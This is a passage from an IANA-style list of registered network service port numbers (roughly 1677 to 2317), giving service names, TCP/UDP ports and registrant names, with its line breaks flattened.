groupwise 1677/udp groupwise # Brent Bradshaw prolink 1678/tcp prolink prolink 1678/udp prolink # Brian Abramson darcorp-lm 1679/tcp darcorp-lm darcorp-lm 1679/udp darcorp-lm # microcom-sbp 1680/tcp microcom-sbp microcom-sbp 1680/udp microcom-sbp # Boris B. Maiden sd-elmd 1681/tcp sd-elmd sd-elmd 1681/udp sd-elmd # Bryan Otey lanyon-lantern 1682/tcp lanyon-lantern lanyon-lantern 1682/udp lanyon-lantern # Robin Lewis ncpm-hip 1683/tcp ncpm-hip ncpm-hip 1683/udp ncpm-hip # Ken Hearn snaresecure 1684/tcp SnareSecure snaresecure 1684/udp SnareSecure # Marty Batchelder n2nremote 1685/tcp n2nremote n2nremote 1685/udp n2nremote # Kin Chan cvmon 1686/tcp cvmon cvmon 1686/udp cvmon # Carol Ann Krug nsjtp-ctrl 1687/tcp nsjtp-ctrl nsjtp-ctrl 1687/udp nsjtp-ctrl nsjtp-data 1688/tcp nsjtp-data nsjtp-data 1688/udp nsjtp-data # Orazio Granato firefox 1689/tcp firefox firefox 1689/udp firefox # Mark S. Edwards ng-umds 1690/tcp ng-umds ng-umds 1690/udp ng-umds # Louis E. Simard <76400.3371@compuserve.com> empire-empuma 1691/tcp empire-empuma empire-empuma 1691/udp empire-empuma # Bobby Krupczak sstsys-lm 1692/tcp sstsys-lm sstsys-lm 1692/udp sstsys-lm # Yih-Wu Wang rrirtr 1693/tcp rrirtr rrirtr 1693/udp rrirtr rrimwm 1694/tcp rrimwm rrimwm 1694/udp rrimwm rrilwm 1695/tcp rrilwm rrilwm 1695/udp rrilwm rrifmm 1696/tcp rrifmm rrifmm 1696/udp rrifmm rrisat 1697/tcp rrisat rrisat 1697/udp rrisat # Allen Briggs rsvp-encap-1 1698/tcp RSVP-ENCAPSULATION-1 rsvp-encap-1 1698/udp RSVP-ENCAPSULATION-1 rsvp-encap-2 1699/tcp RSVP-ENCAPSULATION-2 rsvp-encap-2 1699/udp RSVP-ENCAPSULATION-2 # Bob Braden mps-raft 1700/tcp mps-raft mps-raft 1700/udp mps-raft # Jason Leupen l2f 1701/tcp l2f l2f 1701/udp l2f l2tp 1701/tcp l2tp l2tp 1701/udp l2tp # Andy Valencia deskshare 1702/tcp deskshare deskshare 1702/udp deskshare # Sarah Thompson bcs-broker 1704/tcp bcs-broker bcs-broker 1704/udp bcs-broker # Andy Warner slingshot 1705/tcp slingshot slingshot 1705/udp slingshot # Paul Groarke jetform 1706/tcp jetform jetform 1706/udp jetform # gdeinsta vdmplay 1707/tcp vdmplay vdmplay 1707/udp vdmplay # Vadim Lebedev gat-lmd 1708/tcp gat-lmd gat-lmd 1708/udp gat-lmd # Igor Zaoutine centra 1709/tcp centra centra 1709/udp centra # Drew Wolff impera 1710/tcp impera impera 1710/udp impera # Stepehen Campbell pptconference 1711/tcp pptconference pptconference 1711/udp pptconference # John Tafoya registrar 1712/tcp resource monitoring service registrar 1712/udp resource monitoring service # Ron Lawson conferencetalk 1713/tcp ConferenceTalk conferencetalk 1713/udp ConferenceTalk # George Kajos sesi-lm 1714/tcp sesi-lm sesi-lm 1714/udp sesi-lm houdini-lm 1715/tcp houdini-lm houdini-lm 1715/udp houdini-lm # Paul Breslin xmsg 1716/tcp xmsg xmsg 1716/udp xmsg # Mark E. Fogle fj-hdnet 1717/tcp fj-hdnet fj-hdnet 1717/udp fj-hdnet # Manabu Makino h323gatedisc 1718/tcp h323gatedisc h323gatedisc 1718/udp h323gatedisc h323gatestat 1719/tcp h323gatestat h323gatestat 1719/udp h323gatestat h323hostcall 1720/tcp h323hostcall h323hostcall 1720/udp h323hostcall # Jim Toga caicci 1721/tcp caicci caicci 1721/udp caicci # Sylvia Scheuren hks-lm 1722/tcp HKS License Manager hks-lm 1722/udp HKS License Manager # Michael Wood pptp 1723/tcp pptp pptp 1723/udp pptp # Ken Crocker csbphonemaster 1724/tcp csbphonemaster csbphonemaster 1724/udp csbphonemaster # Mark Kellerhuis iden-ralp 1725/tcp iden-ralp iden-ralp 1725/udp iden-ralp # Chris Stanaway iberiagames 1726/tcp IBERIAGAMES iberiagames 1726/udp IBERIAGAMES # Jose Luis <73374.313@compuserve.com> winddx 1727/tcp winddx winddx 1727/udp winddx # Bill Andrews telindus 1728/tcp TELINDUS telindus 1728/udp TELINDUS # Paul Pyck roketz 1730/tcp roketz roketz 1730/udp roketz # Ahti Heinla msiccp 1731/tcp MSICCP msiccp 1731/udp MSICCP # Max Morris proxim 1732/tcp proxim proxim 1732/udp proxim # Srinivas N. Mogalapalli siipat 1733/tcp SIMS - SIIPAT Protocol for Alarm Transmission siipat 1733/udp SIMS - SIIPAT Protocol for Alarm Transmission # Steve Ryckman cambertx-lm 1734/tcp Camber Corporation License Management cambertx-lm 1734/udp Camber Corporation License Management # Jeannie Burleson privatechat 1735/tcp PrivateChat privatechat 1735/udp PrivateChat # Louis E. Simard <76400.3371@CompuServe.COM> street-stream 1736/tcp street-stream street-stream 1736/udp street-stream # Glenn Levitt ultimad 1737/tcp ultimad ultimad 1737/udp ultimad # (Michael Lanzetta gamegen1 1738/tcp GameGen1 gamegen1 1738/udp GameGen1 # Glen Pearson webaccess 1739/tcp webaccess webaccess 1739/udp webaccess # Christian Saether encore 1740/tcp encore encore 1740/udp encore # Stuart Button cisco-net-mgmt 1741/tcp cisco-net-mgmt cisco-net-mgmt 1741/udp cisco-net-mgmt # John McCormack 3Com-nsd 1742/tcp 3Com-nsd 3Com-nsd 1742/udp 3Com-nsd # Nitza Steinberg cinegrfx-lm 1743/tcp Cinema Graphics License Manager cinegrfx-lm 1743/udp Cinema Graphics License Manager # Rodney Iwashina ncpm-ft 1744/tcp ncpm-ft ncpm-ft 1744/udp ncpm-ft # Ken Hearn remote-winsock 1745/tcp remote-winsock remote-winsock 1745/udp remote-winsock # Avi Nathan ftrapid-1 1746/tcp ftrapid-1 ftrapid-1 1746/udp ftrapid-1 ftrapid-2 1747/tcp ftrapid-2 ftrapid-2 1747/udp ftrapid-2 # Richard J. Williams oracle-em1 1748/tcp oracle-em1 oracle-em1 1748/udp oracle-em1 # Bob Purvy aspen-services 1749/tcp aspen-services aspen-services 1749/udp aspen-services # Mark B. Hurst sslp 1750/tcp Simple Socket Library's PortMaster sslp 1750/udp Simple Socket Library's PortMaster # Dr. Charles E. Campbell Jr. # swiftnet 1751/tcp SwiftNet swiftnet 1751/udp SwiftNet # Terry Lim lofr-lm 1752/tcp Leap of Faith Research License Manager lofr-lm 1752/udp Leap of Faith Research License Manager # translogic-lm 1753/tcp Translogic License Manager translogic-lm 1753/udp Translogic License Manager # Stan Dallas oracle-em2 1754/tcp oracle-em2 oracle-em2 1754/udp oracle-em2 # Bob Purvy ms-streaming 1755/tcp ms-streaming ms-streaming 1755/udp ms-streaming # Bret O'Rourke capfast-lmd 1756/tcp capfast-lmd capfast-lmd 1756/udp capfast-lmd # Chuck Neal cnhrp 1757/tcp cnhrp cnhrp 1757/udp cnhrp # William Stoye tftp-mcast 1758/tcp tftp-mcast tftp-mcast 1758/udp tftp-mcast # Tom Emberson spss-lm 1759/tcp SPSS License Manager spss-lm 1759/udp SPSS License Manager # Tex Hull www-ldap-gw 1760/tcp www-ldap-gw www-ldap-gw 1760/udp www-ldap-gw # Nick Emery cft-0 1761/tcp cft-0 cft-0 1761/udp cft-0 cft-1 1762/tcp cft-1 cft-1 1762/udp cft-1 cft-2 1763/tcp cft-2 cft-2 1763/udp cft-2 cft-3 1764/tcp cft-3 cft-3 1764/udp cft-3 cft-4 1765/tcp cft-4 cft-4 1765/udp cft-4 cft-5 1766/tcp cft-5 cft-5 1766/udp cft-5 cft-6 1767/tcp cft-6 cft-6 1767/udp cft-6 cft-7 1768/tcp cft-7 cft-7 1768/udp cft-7 # Martine Marchand 16 1 46 59 24 84 bmc-net-adm 1769/tcp bmc-net-adm bmc-net-adm 1769/udp bmc-net-adm # Cameron Haight bmc-net-svc 1770/tcp bmc-net-svc bmc-net-svc 1770/udp bmc-net-svc # Cameron Haight bmc-net-svc vaultbase 1771/tcp vaultbase vaultbase 1771/udp vaultbase # Jose A. Sesin essweb-gw 1772/tcp EssWeb Gateway essweb-gw 1772/udp EssWeb Gateway # Bob Nattenberg kmscontrol 1773/tcp KMSControl kmscontrol 1773/udp KMSControl # Roy Chastain global-dtserv 1774/tcp global-dtserv global-dtserv 1774/udp global-dtserv # Nicholas Davies # 1775/tcp femis 1776/tcp Federal Emergency Management Information System femis 1776/udp Federal Emergency Management Information System # Larry Gerhardstein powerguardian 1777/tcp powerguardian powerguardian 1777/udp powerguardian # Charles Bennett prodigy-intrnet 1778/tcp prodigy-internet prodigy-intrnet 1778/udp prodigy-internet # Bob Dedrick pharmasoft 1779/tcp pharmasoft pharmasoft 1779/udp pharmasoft # Ola Strandberg dpkeyserv 1780/tcp dpkeyserv dpkeyserv 1780/udp dpkeyserv # Yasunari Gon Yamasita answersoft-lm 1781/tcp answersoft-lm answersoft-lm 1781/udp answersoft-lm # James A. Brewster hp-hcip 1782/tcp hp-hcip hp-hcip 1782/udp hp-hcip # Allen Baker fjris 1783/tcp Fujitsu Remote Install Service fjris 1783/udp Fujitsu Remote Install Service # Naohito Nakamura # finle-lm 1784/tcp Finle License Manager finle-lm 1784/udp Finle License Manager # Dongling Wang windlm 1785/tcp Wind River Systems License Manager windlm 1785/udp Wind River Systems License Manager # Will Dere funk-logger 1786/tcp funk-logger funk-logger 1786/udp funk-logger funk-license 1787/tcp funk-license funk-license 1787/udp funk-license # Cimarron Boozer # Eric Wilde psmond 1788/tcp psmond psmond 1788/udp psmond # Will Golson hello 1789/tcp hello hello 1789/udp hello # D. J. Bernstein nmsp 1790/tcp Narrative Media Streaming Protocol nmsp 1790/udp Narrative Media Streaming Protocol # Paul Santinelli, Jr. ea1 1791/tcp EA1 ea1 1791/udp EA1 # Kirk MacLean ibm-dt-2 1792/tcp ibm-dt-2 ibm-dt-2 1792/udp ibm-dt-2 # Sam Borman rsc-robot 1793/tcp rsc-robot rsc-robot 1793/udp rsc-robot # Andrew Jay Schneider cera-bcm 1794/tcp cera-bcm cera-bcm 1794/udp cera-bcm # Leo Moesgaard dpi-proxy 1795/tcp dpi-proxy dpi-proxy 1795/udp dpi-proxy # Charles Gordon vocaltec-admin 1796/tcp Vocaltec Server Administration vocaltec-admin 1796/udp Vocaltec Server Administration # Scott Petrack uma 1797/tcp UMA uma 1797/udp UMA # Martin Kirk etp 1798/tcp Event Transfer Protocol etp 1798/udp Event Transfer Protocol # Mike Wray netrisk 1799/tcp NETRISK netrisk 1799/udp NETRISK # Kevin Green ansys-lm 1800/tcp ANSYS-License manager ansys-lm 1800/udp ANSYS-License manager # Suzanne Lorrin msmq 1801/tcp Microsoft Message Que msmq 1801/udp Microsoft Message Que # Amnon Horowitz concomp1 1802/tcp ConComp1 concomp1 1802/udp ConComp1 # Ed Vincent <@edv@concomp.com> hp-hcip-gwy 1803/tcp HP-HCIP-GWY hp-hcip-gwy 1803/udp HP-HCIP-GWY # Allen Baker enl 1804/tcp ENL enl 1804/udp ENL # Brian Olson enl-name 1805/tcp ENL-Name enl-name 1805/udp ENL-Name # Brain Olson musiconline 1806/tcp Musiconline musiconline 1806/udp Musiconline # Craig Weeks fhsp 1807/tcp Fujitsu Hot Standby Protocol fhsp 1807/udp Fujitsu Hot Standby Protocol # Eiki Iwata (eiki@nd.net.fujitsu.co.jp> oracle-vp2 1808/tcp Oracle-VP2 oracle-vp2 1808/udp Oracle-VP2 # Craig Fowler oracle-vp1 1809/tcp Oracle-VP1 oracle-vp1 1809/udp Oracle-VP1 # Craig Fowler jerand-lm 1810/tcp Jerand License Manager jerand-lm 1810/udp Jerand License Manager # Robert Monat scientia-sdb 1811/tcp Scientia-SDB scientia-sdb 1811/udp Scientia-SDB # Ian Miller radius 1812/tcp RADIUS radius 1812/udp RADIUS # Carl Rigney radius-acct 1813/tcp RADIUS Accounting radius-acct 1813/udp RADIUS Accounting # Carl Rigney tdp-suite 1814/tcp TDP Suite tdp-suite 1814/udp TDP Suite # Rob Lockhart mmpft 1815/tcp MMPFT mmpft 1815/udp MMPFT # Ralf Muckenhirn # harp 1816/tcp HARP harp 1816/udp HARP # Bjorn Chambless rkb-oscs 1817/tcp RKB-OSCS rkb-oscs 1817/udp RKB-OSCS # Robert Kevin Breton etftp 1818/tcp Enhanced Trivial File Transfer Protocol etftp 1818/udp Enhanced Trivial File Transfer Protocol # William Polites plato-lm 1819/tcp Plato License Manager plato-lm 1819/udp Plato License Manager # Mark Morris mcagent 1820/tcp mcagent mcagent 1820/udp mcagent # Ryoichi Shinohara donnyworld 1821/tcp donnyworld donnyworld 1821/udp donnyworld # Don Oliver es-elmd 1822/tcp es-elmd es-elmd 1822/udp es-elmd # David Duncan unisys-lm 1823/tcp Unisys Natural Language License Manager unisys-lm 1823/udp Unisys Natural Language License Manager # Raymond A. Diedrichs metrics-pas 1824/tcp metrics-pas metrics-pas 1824/udp metrics-pas # Tom Haapanen direcpc-video 1825/tcp DirecPC Video direcpc-video 1825/udp DirecPC Video # Chris Kerrigan ardt 1826/tcp ARDT ardt 1826/udp ARDT # Mike Goddard asi 1827/tcp ASI asi 1827/udp ASI # Bob Tournoux itm-mcell-u 1828/tcp itm-mcell-u itm-mcell-u 1828/udp itm-mcell-u # Miles O'Neal optika-emedia 1829/tcp Optika eMedia optika-emedia 1829/udp Optika eMedia # Daryle DeBalski net8-cman 1830/tcp Oracle Net8 CMan Admin net8-cman 1830/udp Oracle Net8 CMan Admin # Shuvayu Kanjilal myrtle 1831/tcp Myrtle myrtle 1831/udp Myrtle # Ron Achin tht-treasure 1832/tcp ThoughtTreasure tht-treasure 1832/udp ThoughtTreasure # Erik Mueller udpradio 1833/tcp udpradio udpradio 1833/udp udpradio # Guus Sliepen ardusuni 1834/tcp ARDUS Unicast ardusuni 1834/udp ARDUS Unicast ardusmul 1835/tcp ARDUS Multicast ardusmul 1835/udp ARDUS Multicast # Toshikatsu Ito ste-smsc 1836/tcp ste-smsc ste-smsc 1836/udp ste-smsc # Tom Snauwaert csoft1 1837/tcp csoft1 csoft1 1837/udp csoft1 # John Coll talnet 1838/tcp TALNET talnet 1838/udp TALNET # Aaron Lav netopia-vo1 1839/tcp netopia-vo1 netopia-vo1 1839/udp netopia-vo1 netopia-vo2 1840/tcp netopia-vo2 netopia-vo2 1840/udp netopia-vo2 netopia-vo3 1841/tcp netopia-vo3 netopia-vo3 1841/udp netopia-vo3 netopia-vo4 1842/tcp netopia-vo4 netopia-vo4 1842/udp netopia-vo4 netopia-vo5 1843/tcp netopia-vo5 netopia-vo5 1843/udp netopia-vo5 # Marc Epard # 1839-1849 Unassigned gsi 1850/tcp GSI gsi 1850/udp GSI # William Mullaney ctcd 1851/tcp ctcd ctcd 1851/udp ctcd # John Ryan # 1852-1859 Unassigned sunscalar-svc 1860/tcp SunSCALAR Services sunscalar-svc 1860/udp SunSCALAR Services # Sanjay Radia lecroy-vicp 1861/tcp LeCroy VICP lecroy-vicp 1861/udp LeCroy VICP # Anthony Cake techra-server 1862/tcp techra-server techra-server 1862/udp techra-server # Roy Lyseng msnp 1863/tcp MSNP msnp 1863/udp MSNP # William Lai paradym-31port 1864/tcp Paradym 31 Port paradym-31port 1864/udp Paradym 31 Port # David Wooden entp 1865/tcp ENTP entp 1865/udp ENTP # Seiko Epson # 1866-1869 Unassigned sunscalar-dns 1870/tcp SunSCALAR DNS Service sunscalar-dns 1870/udp SunSCALAR DNS Service # Sanjay Radia canocentral0 1871/tcp Cano Central 0 canocentral0 1871/udp Cano Central 0 canocentral1 1872/tcp Cano Central 1 canocentral1 1872/udp Cano Central 1 # Mark McNamara fjmpjps 1873/tcp Fjmpjps fjmpjps 1873/udp Fjmpjps fjswapsnp 1874/tcp Fjswapsnp fjswapsnp 1874/udp Fjswapsnp # Y. Ohiwa # 1875-1880 Unassigned ibm-mqseries2 1881/tcp IBM MQSeries ibm-mqseries2 1881/udp IBM MQSeries # Steve Hall # 1882-1894 Unassigned vista-4gl 1895/tcp Vista 4GL vista-4gl 1895/udp Vista 4GL # Graham Turburville # 1896-1898 Unassigned mc2studios 1899/tcp MC2Studios mc2studios 1899/udp MC2Studios # Michael Coon # 1900 Unassigned fjicl-tep-a 1901/tcp Fujitsu ICL Terminal Emulator Program A fjicl-tep-a 1901/udp Fujitsu ICL Terminal Emulator Program A # Bob Lyon fjicl-tep-b 1902/tcp Fujitsu ICL Terminal Emulator Program B fjicl-tep-b 1902/udp Fujitsu ICL Terminal Emulator Program B # Bob Lyon linkname 1903/tcp Local Link Name Resolution linkname 1903/udp Local Link Name Resolution # Dan Harrington fjicl-tep-c 1904/tcp Fujitsu ICL Terminal Emulator Program C fjicl-tep-c 1904/udp Fujitsu ICL Terminal Emulator Program C # Bob Lyon sugp 1905/tcp Secure UP.Link Gateway Protocol sugp 1905/udp Secure UP.Link Gateway Protocol # Peter King tpmd 1906/tcp TPortMapperReq tpmd 1906/udp TPortMapperReq # Sheila Devins intrastar 1907/tcp IntraSTAR intrastar 1907/udp IntraSTAR # Peter Schoenberger dawn 1908/tcp Dawn dawn 1908/udp Dawn # Michael Crawford global-wlink 1909/tcp Global World Link global-wlink 1909/udp Global World Link # Nicholas Davies ultrabac 1910/tcp ultrabac ultrabac 1910/udp ultrabac Michael Gee mtp 1911/tcp Starlight Networks Multimedia Transport Protocol mtp 1911/udp Starlight Networks Multimedia Transport Protocol # Bruce Lieberman rhp-iibp 1912/tcp rhp-iibp rhp-iibp 1912/udp rhp-iibp # George Nachman # Tom Lake armadp 1913/tcp armadp armadp 1913/udp armadp # Kevin Welton elm-momentum 1914/tcp Elm-Momentum elm-momentum 1914/udp Elm-Momentum # Willie Wu facelink 1915/tcp FACELINK facelink 1915/udp FACELINK # J.H. Hermans persona 1916/tcp Persoft Persona persona 1916/udp Persoft Persona # Tom Spidell noagent 1917/tcp nOAgent noagent 1917/udp nOAgent # Martin Bestmann can-nds 1918/tcp Candle Directory Service - NDS can-nds 1918/udp Candle Directory Service - NDS can-dch 1919/tcp Candle Directory Service - DCH can-dch 1919/udp Candle Directory Service - DCH can-ferret 1920/tcp Candle Directory Service - FERRET can-ferret 1920/udp Candle Directory Service - FERRET # Dannis Yang noadmin 1921/tcp NoAdmin noadmin 1921/udp NoAdmin # Martin Bestmann tapestry 1922/tcp Tapestry tapestry 1922/udp Tapestry # Shari Trumbo-McHenry spice 1923/tcp SPICE spice 1923/udp SPICE # Nicholas Chua xiip 1924/tcp XIIP xiip 1924/udp XIIP # Alain Robert # 1925-1943 Unassigned close-combat 1944/tcp close-combat close-combat 1944/udp close-combat # David Hua dialogic-elmd 1945/tcp dialogic-elmd dialogic-elmd 1945/udp dialogic-elmd # Roger Kay tekpls 1946/tcp tekpls tekpls 1946/udp tekpls # Brian Abramson hlserver 1947/tcp hlserver hlserver 1947/udp hlserver # Michael Zzunke eye2eye 1948/tcp eye2eye eye2eye 1948/udp eye2eye # Trevor Bell ismaeasdaqlive 1949/tcp ISMA Easdaq Live ismaeasdaqlive 1949/udp ISMA Easdaq Live ismaeasdaqtest 1950/tcp ISMA Easdaq Test ismaeasdaqtest 1950/udp ISMA Easdaq Test # Stephen Dunne bcs-lmserver 1951/tcp bcs-lmserver bcs-lmserver 1951/udp bcs-lmserver # Andy Warner mpnjsc 1952/tcp mpnjsc mpnjsc 1952/udp mpnjsc # Takenori Miyahara rapidbase 1953/tcp Rapid Base rapidbase 1953/udp Rapid Base # Antoni Wolski # 1954-1971 Unassigned intersys-cache 1972/tcp Cache intersys-cache 1972/udp Cache # Mark Hanson dlsrap 1973/tcp Data Link Switching Remote Access Protocol dlsrap 1973/udp Data Link Switching Remote Access Protocol # Steve T. Chiang # 1974-1983 Unassigned bb 1984/tcp BB bb 1984/udp BB # Sean MacGuire hsrp 1985/tcp Hot Standby Router Protocol hsrp 1985/udp Hot Standby Router Protocol # Phil Morton licensedaemon 1986/tcp cisco license management licensedaemon 1986/udp cisco license management tr-rsrb-p1 1987/tcp cisco RSRB Priority 1 port tr-rsrb-p1 1987/udp cisco RSRB Priority 1 port tr-rsrb-p2 1988/tcp cisco RSRB Priority 2 port tr-rsrb-p2 1988/udp cisco RSRB Priority 2 port tr-rsrb-p3 1989/tcp cisco RSRB Priority 3 port tr-rsrb-p3 1989/udp cisco RSRB Priority 3 port # The following entry records an unassigned but widespread use mshnet 1989/tcp MHSnet system mshnet 1989/udp MHSnet system # Bob Kummerfeld stun-p1 1990/tcp cisco STUN Priority 1 port stun-p1 1990/udp cisco STUN Priority 1 port stun-p2 1991/tcp cisco STUN Priority 2 port stun-p2 1991/udp cisco STUN Priority 2 port stun-p3 1992/tcp cisco STUN Priority 3 port stun-p3 1992/udp cisco STUN Priority 3 port # The following entry records an unassigned but widespread use ipsendmsg 1992/tcp IPsendmsg ipsendmsg 1992/udp IPsendmsg # Bob Kummerfeld snmp-tcp-port 1993/tcp cisco SNMP TCP port snmp-tcp-port 1993/udp cisco SNMP TCP port stun-port 1994/tcp cisco serial tunnel port stun-port 1994/udp cisco serial tunnel port perf-port 1995/tcp cisco perf port perf-port 1995/udp cisco perf port tr-rsrb-port 1996/tcp cisco Remote SRB port tr-rsrb-port 1996/udp cisco Remote SRB port gdp-port 1997/tcp cisco Gateway Discovery Protocol gdp-port 1997/udp cisco Gateway Discovery Protocol x25-svc-port 1998/tcp cisco X.25 service (XOT) x25-svc-port 1998/udp cisco X.25 service (XOT) tcp-id-port 1999/tcp cisco identification port tcp-id-port 1999/udp cisco identification port callbook 2000/tcp callbook 2000/udp dc 2001/tcp wizard 2001/udp curry globe 2002/tcp globe 2002/udp mailbox 2004/tcp emce 2004/udp CCWS mm conf berknet 2005/tcp oracle 2005/udp invokator 2006/tcp raid-cc 2006/udp raid dectalk 2007/tcp raid-am 2007/udp conf 2008/tcp terminaldb 2008/udp news 2009/tcp whosockami 2009/udp search 2010/tcp pipe_server 2010/udp raid-cc 2011/tcp raid servserv 2011/udp ttyinfo 2012/tcp raid-ac 2012/udp raid-am 2013/tcp raid-cd 2013/udp troff 2014/tcp raid-sf 2014/udp cypress 2015/tcp raid-cs 2015/udp bootserver 2016/tcp bootserver 2016/udp cypress-stat 2017/tcp bootclient 2017/udp terminaldb 2018/tcp rellpack 2018/udp whosockami 2019/tcp about 2019/udp xinupageserver 2020/tcp xinupageserver 2020/udp servexec 2021/tcp xinuexpansion1 2021/udp down 2022/tcp xinuexpansion2 2022/udp xinuexpansion3 2023/tcp xinuexpansion3 2023/udp xinuexpansion4 2024/tcp xinuexpansion4 2024/udp ellpack 2025/tcp xribs 2025/udp scrabble 2026/tcp scrabble 2026/udp shadowserver 2027/tcp shadowserver 2027/udp submitserver 2028/tcp submitserver 2028/udp device2 2030/tcp device2 2030/udp blackboard 2032/tcp blackboard 2032/udp glogger 2033/tcp glogger 2033/udp scoremgr 2034/tcp scoremgr 2034/udp imsldoc 2035/tcp imsldoc 2035/udp objectmanager 2038/tcp objectmanager 2038/udp lam 2040/tcp lam 2040/udp interbase 2041/tcp interbase 2041/udp isis 2042/tcp isis isis 2042/udp isis isis-bcast 2043/tcp isis-bcast isis-bcast 2043/udp isis-bcast # Ken Chapman dlsrpn 2065/tcp Data Link Switch Read Port Number dlsrpn 2065/udp Data Link Switch Read Port Number dlswpn 2067/tcp Data Link Switch Write Port Number dlswpn 2067/udp Data Link Switch Write Port Number lrp 2090/tcp Load Report Protocol lrp 2090/udp Load Report Protocol # Amir Peless prp 2091/tcp PRP prp 2091/udp PRP # Amir Peless descent3 2092/tcp Descent 3 descent3 2092/udp Descent 3 # Kevin Bentley nbx-cc 2093/tcp NBX CC nbx-cc 2093/udp NBX CC nbx-au 2094/tcp NBX AU nbx-au 2094/udp NBX AU nbx-ser 2095/tcp NBX SER nbx-ser 2095/udp NBX SER nbx-dir 2096/tcp NBX DIR nbx-dir 2096/udp NBX DIR # Henry Houh jetformpreview 2097/tcp Jet Form Preview jetformpreview 2097/udp Jet Form Preview # Zygmunt Wiercioch dialog-port 2098/tcp Dialog Port dialog-port 2098/udp Dialog Port # Joseph Mathew h2250-annex-g 2099/tcp H.225.0 Annex G h2250-annex-g 2099/udp H.225.0 Annex G # Gur Kimchi amiganetfs 2100/tcp amiganetfs amiganetfs 2100/udp amiganetfs # Rudi Chiarito rtcm-sc104 2101/tcp rtcm-sc104 rtcm-sc104 2101/udp rtcm-sc104 # Wolfgang Rupprecht zephyr-srv 2102/tcp Zephyr server zephyr-srv 2102/udp Zephyr server zephyr-clt 2103/tcp Zephyr serv-hm connection zephyr-clt 2103/udp Zephyr serv-hm connection zephyr-hm 2104/tcp Zephyr hostmanager zephyr-hm 2104/udp Zephyr hostmanager # Greg Hudson minipay 2105/tcp MiniPay minipay 2105/udp MiniPay # Amir Herzberg mzap 2106/tcp MZAP mzap 2106/udp MZAP # Dave Thaler # 2107-2179 Unassigned mc-gt-srv 2180/tcp Millicent Vendor Gateway Server mc-gt-srv 2180/udp Millicent Vendor Gateway Server # Steve Glassman ici 2200/tcp ICI ici 2200/udp ICI # Brent Hines ats 2201/tcp Advanced Training System Program ats 2201/udp Advanced Training System Program # imtc-map 2202/tcp Int. Multimedia Teleconferencing Cosortium imtc-map 2202/udp Int. Multimedia Teleconferencing Cosortium # Pat Galvin kali 2213/tcp Kali kali 2213/udp Kali # Jay Cotton ganymede 2220/tcp Ganymede ganymede 2220/udp Ganymede # David Quan unreg-ab1 2221/tcp Allen-Bradley unregistered port unreg-ab1 2221/udp Allen-Bradley unregistered port unreg-ab2 2222/tcp Allen-Bradley unregistered port unreg-ab2 2222/udp Allen-Bradley unregistered port inreg-ab3 2223/tcp Allen-Bradley unregistered port inreg-ab3 2223/udp Allen-Bradley unregistered port # ivs-video 2232/tcp IVS Video default ivs-video 2232/udp IVS Video default # Thierry Turletti infocrypt 2233/tcp INFOCRYPT infocrypt 2233/udp INFOCRYPT # Erica Liu directplay 2234/tcp DirectPlay directplay 2234/udp DirectPlay # Ajay Jindal sercomm-wlink 2235/tcp Sercomm-WLink sercomm-wlink 2235/udp Sercomm-WLink # Melinda Tsao nani 2236/tcp Nani nani 2236/udp Nani # Steve Benoit optech-port1-lm 2237/tcp Optech Port1 License Manager optech-port1-lm 2237/udp Optech Port1 License Manager # Gerard Cannie aviva-sna 2238/tcp AVIVA SNA SERVER aviva-sna 2238/udp AVIVA SNA SERVER # Vick Keshishian imagequery 2239/tcp Image Query imagequery 2239/udp Image Query # Charles Jacobs recipe 2240/tcp RECIPe recipe 2240/udp RECIPe # Jerry Freedman ivsd 2241/tcp IVS Daemon ivsd 2241/udp IVS Daemon # Thierry Turletti foliocorp 2242/tcp Folio Remote Server foliocorp 2242/udp Folio Remote Server # Pat Mcgowan # 2243-2278 Unassigned xmquery 2279/tcp xmquery xmquery 2279/udp xmquery # Niels Christiansen lnvpoller 2280/tcp LNVPOLLER lnvpoller 2280/udp LNVPOLLER lnvconsole 2281/tcp LNVCONSOLE lnvconsole 2281/udp LNVCONSOLE lnvalarm 2282/tcp LNVALARM lnvalarm 2282/udp LNVALARM lnvstatus 2283/tcp LNVSTATUS lnvstatus 2283/udp LNVSTATUS lnvmaps 2284/tcp LNVMAPS lnvmaps 2284/udp LNVMAPS lnvmailmon 2285/tcp LNVMAILMON lnvmailmon 2285/udp LNVMAILMON # Andrew MacKeith nas-metering 2286/tcp NAS-Metering nas-metering 2286/udp NAS-Metering # Steven Sawkins dna 2287/tcp DNA dna 2287/udp DNA # Tung Nguyen netml 2288/tcp NETML netml 2288/udp NETML # Jochen Hansmeyer # 2289-2293 Unassigned konshus-lm 2294/tcp Konshus License Manager (FLEX) konshus-lm 2294/udp Konshus License Manager (FLEX) # Francois Painchaud advant-lm 2295/tcp Advant License Manager advant-lm 2295/udp Advant License Manager # Lars-Goran Magnusson # theta-lm 2296/tcp Theta License Manager (Rainbow) theta-lm 2296/udp Theta License Manager (Rainbow) # David Thompson d2k-datamover1 2297/tcp D2K DataMover 1 d2k-datamover1 2297/udp D2K DataMover 1 d2k-datamover2 2298/tcp D2K DataMover 2 d2k-datamover2 2298/udp D2K DataMover 2 # Eric Lan pc-telecommute 2299/tcp PC Telecommute pc-telecommute 2299/udp PC Telecommute # John Daniel Bonamico cvmmon 2300/tcp CVMMON cvmmon 2300/udp CVMMON # Roger Kumpf cpq-wbem 2301/tcp Compaq HTTP cpq-wbem 2301/udp Compaq HTTP # Scott Shaffer binderysupport 2302/tcp Bindery Support binderysupport 2302/udp Bindery Support # Narasimha Rao N. proxy-gateway 2303/tcp Proxy Gateway proxy-gateway 2303/udp Proxy Gateway # Paul Funk attachmate-uts 2304/tcp Attachmate UTS attachmate-uts 2304/udp Attachmate UTS # George Gianelos mt-scaleserver 2305/tcp MT ScaleServer mt-scaleserver 2305/udp MT ScaleServer # Paul Glaubitz tappi-boxnet 2306/tcp TAPPI BoxNet tappi-boxnet 2306/udp TAPPI BoxNet # Richard Spartz pehelp 2307/tcp pehelp pehelp 2307/udp pehelp # Jens Kilian sdhelp 2308/tcp sdhelp sdhelp 2308/udp sdhelp # Annette Klecha sdserver 2309/tcp SD Server sdserver 2309/udp SD Server sdclient 2310/tcp SD Client sdclient 2310/udp SD Client # Jeurgen Broesamle messageservice 2311/tcp Message Service messageservice 2311/udp Message Service # 2312 Unassigned iapp 2313/tcp IAPP (Inter Access Point Protocol) iapp 2313/udp IAPP (Inter Access Point Protocol) # Henri Moelard cr-websystems 2314/tcp CR WebSystems cr-websystems 2314/udp CR WebSystems # Robin Giese precise-sft 2315/tcp Precise Sft. precise-sft 2315/udp Precise Sft. # Michael Landwehr sent-lm 2316/tcp SENT License Manager sent-lm 2316/udp SENT License Manager # Pisharath Krishnan attachmate-g32 2317/tcp 